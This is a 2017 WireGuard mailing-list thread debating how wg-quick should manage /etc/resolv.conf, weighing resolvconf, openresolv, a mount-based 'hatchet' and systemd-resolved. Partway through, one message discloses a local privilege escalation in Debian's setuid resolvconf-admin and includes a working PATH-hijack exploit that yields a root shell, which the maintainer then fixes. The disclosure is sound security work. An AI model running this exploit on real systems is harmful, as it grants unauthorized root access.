Re: Fixing wg-quick's DNS= directive with a hatchet

[Daniel Kahn Gillmor]

[-- Attachment #1: Type: text/plain, Size: 3392 bytes --]

On Fri 2017-10-27 19:15:08 +0200, Jason A. Donenfeld wrote:
> (Daniel and Egbert seem mostly okay with the butchered resolvconf in
> their distros; at least they don't see any reason to change things,
> since it mostly works, and users there at least have the choice of
> somehow installing openresolv need be.)

fwiw, i'm *not* ok with resolvconf.  I tried to help co-maintain it for
several years and stepped back from it in disappointment.  I don't even
remember the details at this point, but I'm not convinced that it's
particularly architecturally sound.  I haven't looked at openresolv
myself.

I personally think that the hatchet is an unfortunate distraction from
wireguard.  If Jason decides to ship it upstream, i'll include it in the
debian packages as part of his decision.  However, i suspect it will
break some people's DNS resolution in ways that they don't know how to
recover from besides a reboot (maybe it'll come back after a reboot too?
yikes).  I suspect this will raise even worse noise and abuse than
"Rodney"'s silliness.  And this time, they'll be (at least partly)
right, because the experimental networking tool that they installed will
have done bizarre things to their filesystem mount points(!) and
hijacked an important system configuration file out from under whatever
was maintaining it in the first place.

------

So I think wireguard is better off with a light touch here.  If Jason
just wants to maintain the current openresolv hook, then any wg-quick
invocation that tries to set DNS can just warn on non-openresolv
systems.  something liike:

    you asked me to set up the DNS but i only know how to do that with
    openresolv installed.  Please install openresolv and try again!

This isn't as magic as the hatchet, but it means wireguard is not
responsible for breaking the user's name resolution.

And if folks want to integrate it with other /etc/resolv.conf managers,
they can write, test, and propose patches themselves.

-----

As for what the right solution looks like on a modern GNU/Linux system:

A sensible approach (which i think should be the default on machines
running systemd) is to use systemd-resolved as a local resolving cache.
The easiest way to do that permanently is:

    systemctl enable --now systemd-resolved
    ln -sf /lib/systemd/resolv.conf /etc/resolv.conf

If your networking is configured by systemd-networkd, then everything
else JustWorks™


On systems that use network-manager, you should tell nm to just inform
resolved when it learns about new DNS servers:

    cat > /etc/NetworkManager/conf.d/use-resolved.conf <<EOF
    [main]
    dns=systemd-resolved
    EOF
    systemctl restart NetworkManager

On a system configured with systemd-resolved (with or without
network-manager), i'd want wg-quick to just inform systemd-resolved that
it has a new DNS resolver available.  This is probably some ungodly dbus
invocation that i don't know what it is, but would likely not be an
impossibility to figure out.

    https://www.freedesktop.org/wiki/Software/systemd/resolved/

If someone has the fortitude to wade through that, i'd happily ship such
a patch in debian (and encourage Jason to take it upstream alongside his
openresolv hook), but i'm scattered to too many places to do that myself
today.

all the best,

       --dkg

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 832 bytes --]

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

Hi Daniel,

On Sat, Oct 28, 2017 at 12:06 AM, Daniel Kahn Gillmor
<dkg@fifthhorseman.net> wrote:
> fwiw, i'm *not* ok with resolvconf.  I tried to help co-maintain it for
> several years and stepped back from it in disappointment.  I don't even
> remember the details at this point, but I'm not convinced that it's
> particularly architecturally sound.  I haven't looked at openresolv
> myself.

Rightfully so: Debian's resolvconf is junk and really should be
removed from the distro. Roy Marples, the openresolv guy, tried to fix
the situation a while back, but for whatever reason the maintainer of
the Debian one didn't follow through, and we are where we are today.
Openresolv is a fine piece of code that works reliably; I'd encourage
you to check it out, especially before you dismiss the whole idea and
start recommending dbus instead. It's a tiny component where you can
see all of its parts as clear transparent components. Many apps can
interact with it through a consistent mechanism. It doesn't require a
daemon, nor does it require any central management. Every distribution
has adopted the resolvconf method -- except for Redhat land, where
they have different ideas about things (NetworkManager,
dhclient-script) -- and I think it's mostly a historical accident and
maintenance oversight that Debian wound up with the butchered one.
Fortunately that should be somewhat easy to fix.

For this reason, I've gravitated strongly in favor of your suggestion
on IRC: support resolvconf, be it the debian frankenstein or the
openresolv one, and have distributions that don't have resolvconf
figure out something else within their package. At some point, maybe
Redhat will come around, or every other distribution will come around
to Redhat, and then we'll converge, but for now, with basically one
camp out, it seems easiest to just punt the problem to that one camp,
where the hatchet hopefully will be a sufficient stop-gap measure for
them (unless they come up with something better).

> I personally think that the hatchet is an unfortunate distraction from
> wireguard.  If Jason decides to ship it upstream, i'll include it in the
> debian packages as part of his decision.  However, i suspect it will
> break some people's DNS resolution in ways that they don't know how to
> recover from besides a reboot (maybe it'll come back after a reboot too?
> yikes).

For this reason, and at Kalin's suggestion as the first reply on the
thread, I prefix this onto resolv.conf with the hatchet:

# This file was generated by wg-quick(8) for use with
# the WireGuard interface wg0. It cannot be
# removed or altered directly. You may remove this file
# by running `wg-quick down wg0', or if that
# poses problems, run `umount /etc/resolv.conf'.

Not perfect, of course, but I imagine this simple comment will address
85% of confused users very quickly.

> hijacked an important system configuration file out from under whatever
> was maintaining it in the first place.

When you set DNS=3D, you expect for that configuration file to be
modified, but then put back how it was when things are turned off.
That's why mount points, resolvconf, and so forth present a
"stackable" interface. This is what Debian has long provided with the
integration between resolvconf and openvpn, even.



Of the current methods an options available, I see three
possibilities, with one of them being obviously unacceptable to me,
and this unacceptability should shed light on how I'm approaching the
issue:

1) Use openresolv, which supports -x, and if it isn't there, fall back
to the hatchet, which emulates openresolv's -x.
2) Use openresolv, which supports -x, and if it isn't there, fall back
to Debian resolvconf, which doesn't support -x, and if it isn't there,
fall back to the hatchet, which emulates -x.
3) Use openresolv, which supports -x, and if it isn't there, fall back
to Debian resolvconf, which doesn't support -x.

It might be a surprise to you to learn that (2) is actually the
unacceptable option! The reason is that I will hedge my bets on the
hatchet if it's for the purpose of making unified semantic behavior of
the DNS=3D option, with regards to -x. This to me is a worthy goal that
would justify such things. Thus, allowing for the hatchet in the same
setting where I'd allow for the incorrect behavior of Debian's missing
-x option is inconsistent and therefore indefensible.

This, then, leaves (1) and (3). The reason for (1) has already been
stated: to enable consistant -x behavior everywhere. The reasons for
going with (3), instead, would be some of the points you brought up on
IRC, in your email, and some additional ones too:

a) Messing with mount points is heavy handed and potentially confusing.
b) The application should choose *one* good mechanism for setting the
DNS, choosing the mechanism that's most widely supported, and punting
the issue to distributions if they don't have that mechanism available
to them. The reason is that the rabbit hole of supporting _every
possible DNS configuration ability_ is vast and horrible, and things
should be stopped before they slide this way.
c) Calling resolvconf is extremely simple to do, and something called
wg-"quick" should only contain pieces of logic that are simple.
d) The hatchet can be provided on a case by case basis as a patch by
distributions who are unable to provide a desired level of
resolvconf-ness.
e) By not being pedantic about the fact that Debian's resolvconf
doesn't support -x, I remind users that avoiding extratunnicular leaks
is better achieved with something like https://=D7=90.cc/KXez5GRr (taken
from the man page of wg-quick(8)), rather than trying to whack-a-mole
with things like -x DNS configuration.
f) The current "tun." prefix hack to simultaneously work with Debian's
resolvconf and openresolv is "good enough".
g) I'm not keen on the escalating arms race that the hatchet causes
when it's included in upstream software -- will programs add code to
do a stat(2) followed by an inode comparison and then run umount(2),
when open(2) returns -EROFS? I don't think this arms race concern
follows through to downstream distros, though, since they're usually
more agile with removing these things before they become a problem, if
they're becoming one.

Of these, I'm most compelled by (c), (e), and (f).


>     you asked me to set up the DNS but i only know how to do that with
>     openresolv installed.  Please install openresolv and try again!

So, based on the above, my intention is to do this, but in the context
of option (3), which means I'll only warn if there's no resolvconf,
permitting Debian's resolvconf to provide its limited support if it's
there and openresolv isn't.

> As for what the right solution looks like on a modern GNU/Linux system:
>
> A sensible approach (which i think should be the default on machines
> running systemd) is to use systemd-resolved as a local resolving cache.
> If your networking is configured by systemd-networkd, then everything
> else JustWorks=E2=84=A2

It really doesn't "just work" (and systemd-networkd is mostly for
servers, but not for dynamically changing "desktop linux" machines,
due to a currently very limited external interface into it). As you
said, systemd-resolved not on by default in distros, which means
people have to likely change their whole networking situation to use
it. (When it is ubiquitous, perhaps things can be reconsidered.) More
importantly, the dbus interface to interact with it is not pleasant.
This deserves a line break:

I don't want to manually construct dbus messages from bash.

I think resolvconf is the right interface for DNS configuration. I
understand that systemd-resolved doesn't want to manage things with
files -- because they wish to integrate deeper with NSS and
multi-machine tenancy and so forth, which are all interesting projects
-- but I still think resolvconf, as a command line program, is the
right interface for ad-hoc things to configure DNS. For this reason, I
filed this issue with systemd --
https://github.com/systemd/systemd/issues/7202 -- and I'll be curious
to hear their take on it. Maybe they'll provide an interesting new
perspective, or just confirm this one.

Regards,
Jason

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

On Sat, Oct 28, 2017 at 4:24 AM, Jason A. Donenfeld <Jason@zx2c4.com> wrote:
> I don't want to manually construct dbus messages from bash.

https://github.com/jonathanio/update-systemd-resolved/blob/master/update-systemd-resolved

The author of that script is some kind of genius. But it also happens
to be longer than all of wg-quick itself. V6 is gnarly to parse,
evidently.

Re: Fixing wg-quick's DNS= directive with a hatchet

[Daniel Kahn Gillmor]

[-- Attachment #1: Type: text/plain, Size: 3735 bytes --]

On Sat 2017-10-28 04:24:08 +0200, Jason A. Donenfeld wrote:

> Openresolv is a fine piece of code that works reliably; I'd encourage
> you to check it out, especially before you dismiss the whole idea and
> start recommending dbus instead. It's a tiny component where you can
> see all of its parts as clear transparent components. Many apps can
> interact with it through a consistent mechanism. It doesn't require a
> daemon, nor does it require any central management.

My concern with the resolvconf model (whether implemented by openresolv
or not) is that each daemon that needs to execute resolvconf needs to be
root.

This is because of the extensibility -- you don't know what plugin
scripts you might be invoking when you invoke resolvconf, and those
scripts don't know what your constraints might be.

At its core, this model encourages *anything* that might need to update
/etc/resolv.conf to have full system administration privileges.

Consider a DHCP client (any DHCP client) -- at most, it should have
CAP_NET_ADMIN and maybe CAP_NET_RAW.  And it needs to be able to update
the local DNS resolution, and maybe the hostname.  But it parses
arbitrary data from the network, and acts on it.  yikes!  I'd prefer
that any such daemon run with minimal privileges, but on a system where
resolvconf is present, it has to have superuser privileges, or else
resolvconf won't work.

I actually shipped the resolvconf-admin package in debian to provide
some kind of filtering interface to avoid total garbage from the network
getting accidentally passed through to arbitrary resolvconf plugins.
But it's a setuid program, yuck.

as the package description says:

-------
 Note: setuid binaries like resolvconf-admin are additional attack
 surface on your system.  If you can use a different approach, such as
 enabling systemd-resolved, you should probably prefer it.
 .
 DO NOT INSTALL THIS PACKAGE (or any other with a setuid binary) IF
 YOU DO NOT NEED IT!
-------

We have effective privilege separation in userspace, and it seems
foolhardy not to use it just because some daemon or networking policy
agent needs to update the DNS resolver.

> For this reason, and at Kalin's suggestion as the first reply on the
> thread, I prefix this onto resolv.conf with the hatchet:
>
> # This file was generated by wg-quick(8) for use with
> # the WireGuard interface wg0. It cannot be
> # removed or altered directly. You may remove this file
> # by running `wg-quick down wg0', or if that
> # poses problems, run `umount /etc/resolv.conf'.
>
> Not perfect, of course, but I imagine this simple comment will address
> 85% of confused users very quickly.

You seem to think that 85% of confused users, when faced with the fact
that "the Internet doesn't work" can (a) can determine that their DNS
resolution is specifically what is failing, and (b) subsequently think
to look in /etc/resolv.conf, and (c) follow the instructions therein.
And you think they'll do it all "very quickly".

I say this with love, but I don't think we've worked with the same
caliber of confused users. :) 

> So, based on the above, my intention is to do this, but in the context
> of option (3), which means I'll only warn if there's no resolvconf,
> permitting Debian's resolvconf to provide its limited support if it's
> there and openresolv isn't.

sounds good to me.

> I don't want to manually construct dbus messages from bash.

i understand this complaint, they should offer a simple command-line
tool that communicates the right thing via dbus on the backend.  I've
subscribed to https://github.com/systemd/systemd/issues/7202, thanks for
opening it.

        --dkg

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 832 bytes --]

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

[-- Attachment #1: Type: text/plain, Size: 735 bytes --]

On Oct 28, 2017 5:03 PM, "Daniel Kahn Gillmor" <dkg@fifthhorseman.net>
wrote:


My concern with the resolvconf model (whether implemented by openresolv
or not) is that each daemon that needs to execute resolvconf needs to be
root.


1) wg-quick isn't a daemon, though openvpn is.

2) I can think of at least 5 ways to implement a resolvconf binary without
requiring root, making your argument moot. There's nothing inherent in the
resolvconf model that would require it.

If you're interested in spending the time implementing this for openresolv,
I can spec those out in detail for you. Alternatively, you can just wait
for the systemd devs to add a resolvconf for controlling systemd-resolved,
if that's the horse you're betting on.

[-- Attachment #2: Type: text/html, Size: 1258 bytes --]

Re: Fixing wg-quick's DNS= directive with a hatchet

[Geo Kozey]

October 28, 2017 7:57:06 PM CEST "Jason A. Donenfeld" <Jason@zx2c4.com> wrote:

>On Oct 28, 2017 5:03 PM, "Daniel Kahn Gillmor" <dkg@fifthhorseman.net> wrote:
>
>My concern with the resolvconf model (whether implemented by openresolv
>or not) is that each daemon that needs to execute resolvconf needs to be
>root.
>
>1) wg-quick isn't a daemon, though openvpn is.
>
>2) I can think of at least 5 ways to implement a resolvconf binary without requiring root, making your argument moot. There's nothing inherent in the resolvconf model that would require it.
>
>If you're interested in spending the time implementing this for openresolv, I can spec those out in detail for you. Alternatively, you can just wait for the systemd devs to add a resolvconf for controlling systemd-resolved, if that's the horse you're betting on.

FYI you can already change DNS through resolvconf from non-root daemons with correct file permissions or ACLs but that's off-topic.

Yours sincerely

G. K.

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

[-- Attachment #1: Type: text/plain, Size: 1084 bytes --]

On Oct 29, 2017 1:21 PM, "Geo Kozey" <geokozey@mailfence.com> wrote:

October 28, 2017 7:57:06 PM CEST "Jason A. Donenfeld" <Jason@zx2c4.com>
wrote:

>On Oct 28, 2017 5:03 PM, "Daniel Kahn Gillmor" <dkg@fifthhorseman.net>
wrote:
>
>My concern with the resolvconf model (whether implemented by openresolv
>or not) is that each daemon that needs to execute resolvconf needs to be
>root.
>
>1) wg-quick isn't a daemon, though openvpn is.
>
>2) I can think of at least 5 ways to implement a resolvconf binary without
requiring root, making your argument moot. There's nothing inherent in the
resolvconf model that would require it.
>
>If you're interested in spending the time implementing this for
openresolv, I can spec those out in detail for you. Alternatively, you can
just wait for the systemd devs to add a resolvconf for controlling
systemd-resolved, if that's the horse you're betting on.

FYI you can already change DNS through resolvconf from non-root daemons
with correct file permissions or ACLs but that's off-topic.


Yep! Pretty straight forward.


Yours sincerely

G. K.

[-- Attachment #2: Type: text/html, Size: 1974 bytes --]

Re: Fixing wg-quick's DNS= directive with a hatchet

[Daniel Kahn Gillmor]

[-- Attachment #1: Type: text/plain, Size: 744 bytes --]

On Sun 2017-10-29 13:21:24 +0100, Geo Kozey wrote:
> FYI you can already change DNS through resolvconf from non-root
> daemons with correct file permissions or ACLs

resolvconf has plugins on the consumer side as well.  while you might be
able to guarantee that you have the correct file permissions or ACLs on
/etc/resolv.conf, you probably can't make a guarantee that all of the
plugins are going to work with that arrangement.

That said, i'd love to see this kind of proposal standardized and
documented.  Are there any systems that ship with correct file
permissions or ACLs?

> but that's off-topic.

It was off-topic until wg-quick started messing around with the local
system's DNS resolution.  Now it's on-topic :/

             --dkg

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 832 bytes --]

Re: Fixing wg-quick's DNS= directive with a hatchet

[Daniel Kahn Gillmor]

[-- Attachment #1: Type: text/plain, Size: 1273 bytes --]

On Sat 2017-10-28 20:57:06 +0200, Jason A. Donenfeld wrote:
> 1) wg-quick isn't a daemon, though openvpn is.

wg-quick could be invoked from a network management daemon.  Part of the
brilliance of wireguard is that the in-kernel stuff *doesn't* try to
integrate fancy configuration/setup policy.  But that does mean that
it's likely that there needs to be some user-space policy agent for
system integration.

> 2) I can think of at least 5 ways to implement a resolvconf binary without
> requiring root, making your argument moot. There's nothing inherent in the
> resolvconf model that would require it.
>
> If you're interested in spending the time implementing this for openresolv,
> I can spec those out in detail for you.

Please report these suggestions to openresolv or any other resolvconf
implementations.  My point is about what exists today, not about what is
theoretically possible.  This argument will be moot when any widely-used
resolvconf implementation doesn't have to be executed as the superuser
by default.  Please, make it moot! :)

> Alternatively, you can just wait for the systemd devs to add a
> resolvconf for controlling systemd-resolved, if that's the horse
> you're betting on.

That'd be fine with me, thanks for pushing on it.

       --dkg

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 832 bytes --]

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

On Sat, Oct 28, 2017 at 4:35 PM, Daniel Kahn Gillmor
<dkg@fifthhorseman.net> wrote:
> I actually shipped the resolvconf-admin package in debian to provide
> some kind of filtering interface to avoid total garbage from the network
> getting accidentally passed through to arbitrary resolvconf plugins.

By the way, the program you wrote introduces a trivial local privilege
escalation vulnerability into Debian, since not all available
providers of the resolvconf binary set PATH themselves. Always clear
environment variables yourself before exec'ing anything in an suid
executable. Here's an exploit:

unpriv@scw-968260:~$ id
uid=1000(unpriv) gid=1000(unpriv) groups=1000(unpriv),114(resolvconf-admins)

unpriv@scw-968260:~$ stat /usr/bin/resolvconf-admin
  File: /usr/bin/resolvconf-admin
  Size: 24736           Blocks: 56         IO Block: 4096   regular file
Device: fd00h/64768d    Inode: 2897743     Links: 1
Access: (4754/-rwsr-xr--)  Uid: (    0/    root)   Gid: (
114/resolvconf-admins)
Access: 2017-10-29 21:56:25.709185001 +0000
Modify: 2017-10-29 21:55:04.529185001 +0000
Change: 2017-10-29 21:55:41.449185001 +0000
 Birth: -

unpriv@scw-968260:~$ echo 'main() { setuid(0); setgid(0);
execl("/bin/sh", 0); }' > a.c && gcc -o rootshell a.c

unpriv@scw-968260:~$ echo "main() { chown(\"$PWD/rootshell\", 0, 0);
chmod(\"$PWD/rootshell\", 04755); }" > a.c && gcc -o mkdir a.c

unpriv@scw-968260:~$ export PATH="$PWD:$PATH"

unpriv@scw-968260:~$ resolvconf-admin add eth0 8.8.8.8
Cannot write to /run/resolvconf/lock

unpriv@scw-968260:~$ ./rootshell
# id
uid=0(root) gid=0(root) groups=0(root),114(resolvconf-admins),1000(unpriv)

Re: Fixing wg-quick's DNS= directive with a hatchet

[Daniel Kahn Gillmor]

[-- Attachment #1: Type: text/plain, Size: 996 bytes --]

On Sun 2017-10-29 23:06:31 +0100, Jason A. Donenfeld wrote:
> By the way, the program you wrote introduces a trivial local privilege
> escalation vulnerability into Debian, since not all available
> providers of the resolvconf binary set PATH themselves. Always clear
> environment variables yourself before exec'ing anything in an suid
> executable.

Thanks for this report, it should be fixed in resolvconf-admin 0.3.
This is a bad failure in the filtering that resolvconf-admin is supposed
to provide.

I note that the privilege escalation vulnerability was for any code that
would normally have been running as root anyway without resolvconf-admin
-- so it leaves systems no worse than they'd been without
resolvconf-admin (since no user is added to the resolvconf-admins group
by default).  But it's definitely a bad failure mode, given the design
and intent of resolvconf-admin.

I appreciate the catch!  Please don't hesitate to report any other
similar problems.

Regards,

        --dkg

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 832 bytes --]

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

Hello everybody,

I have committed the DNS hatchet! But in compromise-form:

https://git.zx2c4.com/WireGuard/commit/?id=f042be244a98a8d854d4b89353190d1673f5f814

Distributions that still need to use it (such as Fedora and OpenSUSE)
can call the apply.sh script in contrib/ to modify things. Everybody
else will keep functioning like before. When no more distributions
need the hatchet, I'll remove it from contrib/. Advantages of this
approach:

- Distributions don't have to maintain it, but still are responsible
for it by virtue of choosing to apply it.
- It doesn't pollute wg-quick.bash itself.
- It's more arguably removable later, since it only lives in contrib/.

So, I'll release a new snapshot soon, and I'll expect to see future
RPMs run apply.sh prior to make install, until they have a more
enterprisey solution available to them.

Glad we worked this out! Thanks everyone for their helpful input.

Regards,
Jason

Re: Fixing wg-quick's DNS= directive with a hatchet

[Geo Kozey]

On Thu, 26 Oct 2017, Jason A. Donenfeld wrote:

>Before I describe the hatchet, though, it might be worthwhile to
>remind ourselves of the three goals of DNS setting in this
>environment: a) be the exclusive DNS entry, b) restore the previous
>settings when the wireguard interface is removed, and c) not allow
>other things on the system (like roving dhcp daemons) to overwrite our
>settings.

What about usecases where more nameservers are needed, i.e. local nameserver used for caching, adblocking or whatever?

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

On Thu, Oct 26, 2017 at 9:58 PM, Geo Kozey <geokozey@mailfence.com> wrote:
> What about usecases where more nameservers are needed, i.e. local nameserver used for caching, adblocking or whatever?

Presumably those users wouldn't be using DNS= anyways, since they'd
want a fixed resolv.conf with the address of their local nameserver.
So, that's outside the scope of this discussion.

Re: Fixing wg-quick's DNS= directive with a hatchet

[Geo Kozey]

> From: Jason A. Donenfeld <Jason@zx2c4.com>
> Sent: Thu Oct 26 23:11:02 CEST 2017
> To: Geo Kozey <geokozey@mailfence.com>
> Subject: Re: Fixing wg-quick's DNS= directive with a hatchet
> 
> 
> On Thu, Oct 26, 2017 at 9:58 PM, Geo Kozey <geokozey@mailfence.com> wrote:
> > What about usecases where more nameservers are needed, i.e. local nameserver used for caching, adblocking or whatever?
> 
> Presumably those users wouldn't be using DNS= anyways, since they'd
> want a fixed resolv.conf with the address of their local nameserver.
> So, that's outside the scope of this discussion.
> ----------------------------------------
No, with fixed resolv.conf pointing to local namserver only there would be no DNS resolution as your cache has to come from somewhere. I'm talking specifically about local nameserver without external connectivity but I think users may want to use their own static nameservers with dynamic one which they get from wg for whatever reason. Having to chose one over another as only possibility isn't best solution IMO.

G.K. 

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

On Thu, Oct 26, 2017 at 11:53 PM, Geo Kozey <geokozey@mailfence.com> wrote:
> No, with fixed resolv.conf pointing to local namserver only there would b=
e no DNS resolution as your cache has to come from somewhere. I'm talking s=
pecifically about local nameserver without external connectivity but I thin=
k users may want to use their own static nameservers with dynamic one which=
 they get from wg for whatever reason. Having to chose one over another as =
only possibility isn't best solution IMO.

Usually people who do this usually point their cache toward the remote
tunneled nameserver, via, say, dnsmasq's -S option. Some people do
indeed enjoy multiple entries in their resolv.conf and rely on this
generally buggy behavior, which means you could make an argument that
I shouldn't be using openresolv's "-x" option, and maybe you'd have a
case. But I don't care for nobs, and those powerusers probably don't
want wg-quick anyway or can just use PostUp.

In any case, this is a different issue from what this thread is trying
to determine, so if you'd like to bikeshed -x vs -m and options and
whatnot in openresolv, please do so on an entirely different thread
with a different subject.

Re: Fixing wg-quick's DNS= directive with a hatchet

[Geo Kozey]

> From: Jason A. Donenfeld <Jason@zx2c4.com>
> Sent: Fri Oct 27 00:19:27 CEST 2017
> To: Geo Kozey <geokozey@mailfence.com>
> Subject: Re: Fixing wg-quick's DNS= directive with a hatchet
> 
> 
> On Thu, Oct 26, 2017 at 11:53 PM, Geo Kozey <geokozey@mailfence.com> wrote:
> > No, with fixed resolv.conf pointing to local namserver only there would be no DNS resolution as your cache has to come from somewhere. I'm talking specifically about local nameserver without external connectivity but I think users may want to use their own static nameservers with dynamic one which they get from wg for whatever reason. Having to chose one over another as only possibility isn't best solution IMO.
> 
> Usually people who do this usually point their cache toward the remote
> tunneled nameserver, via, say, dnsmasq's -S option. Some people do
> indeed enjoy multiple entries in their resolv.conf and rely on this
> generally buggy behavior, which means you could make an argument that
> I shouldn't be using openresolv's "-x" option, and maybe you'd have a
> case. But I don't care for nobs, and those powerusers probably don't
> want wg-quick anyway or can just use PostUp.
> 
> In any case, this is a different issue from what this thread is trying
> to determine, so if you'd like to bikeshed -x vs -m and options and
> whatnot in openresolv, please do so on an entirely different thread
> with a different subject.
> ----------------------------------------
The thing is if "openresolv -x"  isn't best solution then this thread with your patch can go straight to /dev/null. You wrote yourself that you don't care about nobs and power users won't use it anyway so what's the point?. Especially as distro maintainers are against all of this. IMO "openresolv -x" is usable for preventing people who have no idea what they doing from shooting themselves in foot. Powerusers most of the time will choose full control over what is and what isn't in their resolv.conf.

G.K.